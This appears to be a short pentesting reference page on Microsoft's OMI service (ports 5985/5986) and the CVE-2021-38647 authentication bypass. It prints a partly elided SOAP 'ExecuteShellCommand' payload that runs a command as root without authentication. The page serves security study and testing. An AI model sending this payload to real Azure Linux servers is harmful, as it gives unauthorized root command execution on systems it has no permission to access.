5985,5986 - Pentesting OMI

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Basic Information

OMI is presented as an open-source tool by Microsoft, designed for remote configuration management. It's particularly relevant for Linux servers on Azure that utilize services such as:

• Azure Automation

• Azure Automatic Update

• Azure Operations Management Suite

• Azure Log Analytics

• Azure Configuration Management

• Azure Diagnostics

The process omiengine is initiated and listens on all interfaces as root when these services are activated.

Default ports used are 5985 (http) and 5986 (https).

CVE-2021-38647 Vulnerability

As observed on September 16, Linux servers deployed in Azure with the mentioned services are susceptible due to a vulnerable version of OMI. This vulnerability lies in the OMI server's handling of messages through the /wsman endpoint without requiring an Authentication header, incorrectly authorizing the client.

An attacker can exploit this by sending an "ExecuteShellCommand" SOAP payload without an Authentication header, compelling the server to execute commands with root privileges.

<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://schemas.xmlsoap.org/ws/2004/08/addressing"
   ...
   <s:Body>
      <p:ExecuteShellCommand_INPUT xmlns:p="http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem">
         <p:command>id</p:command>
         <p:timeout>0</p:timeout>
      </p:ExecuteShellCommand_INPUT>
   </s:Body>
</s:Envelope>

For a more information about this CVE check this.

References

• https://www.horizon3.ai/omigod-rce-vulnerability-in-multiple-azure-linux-deployments/
• https://blog.wiz.io/omigod-critical-vulnerabilities-in-omi-azure/

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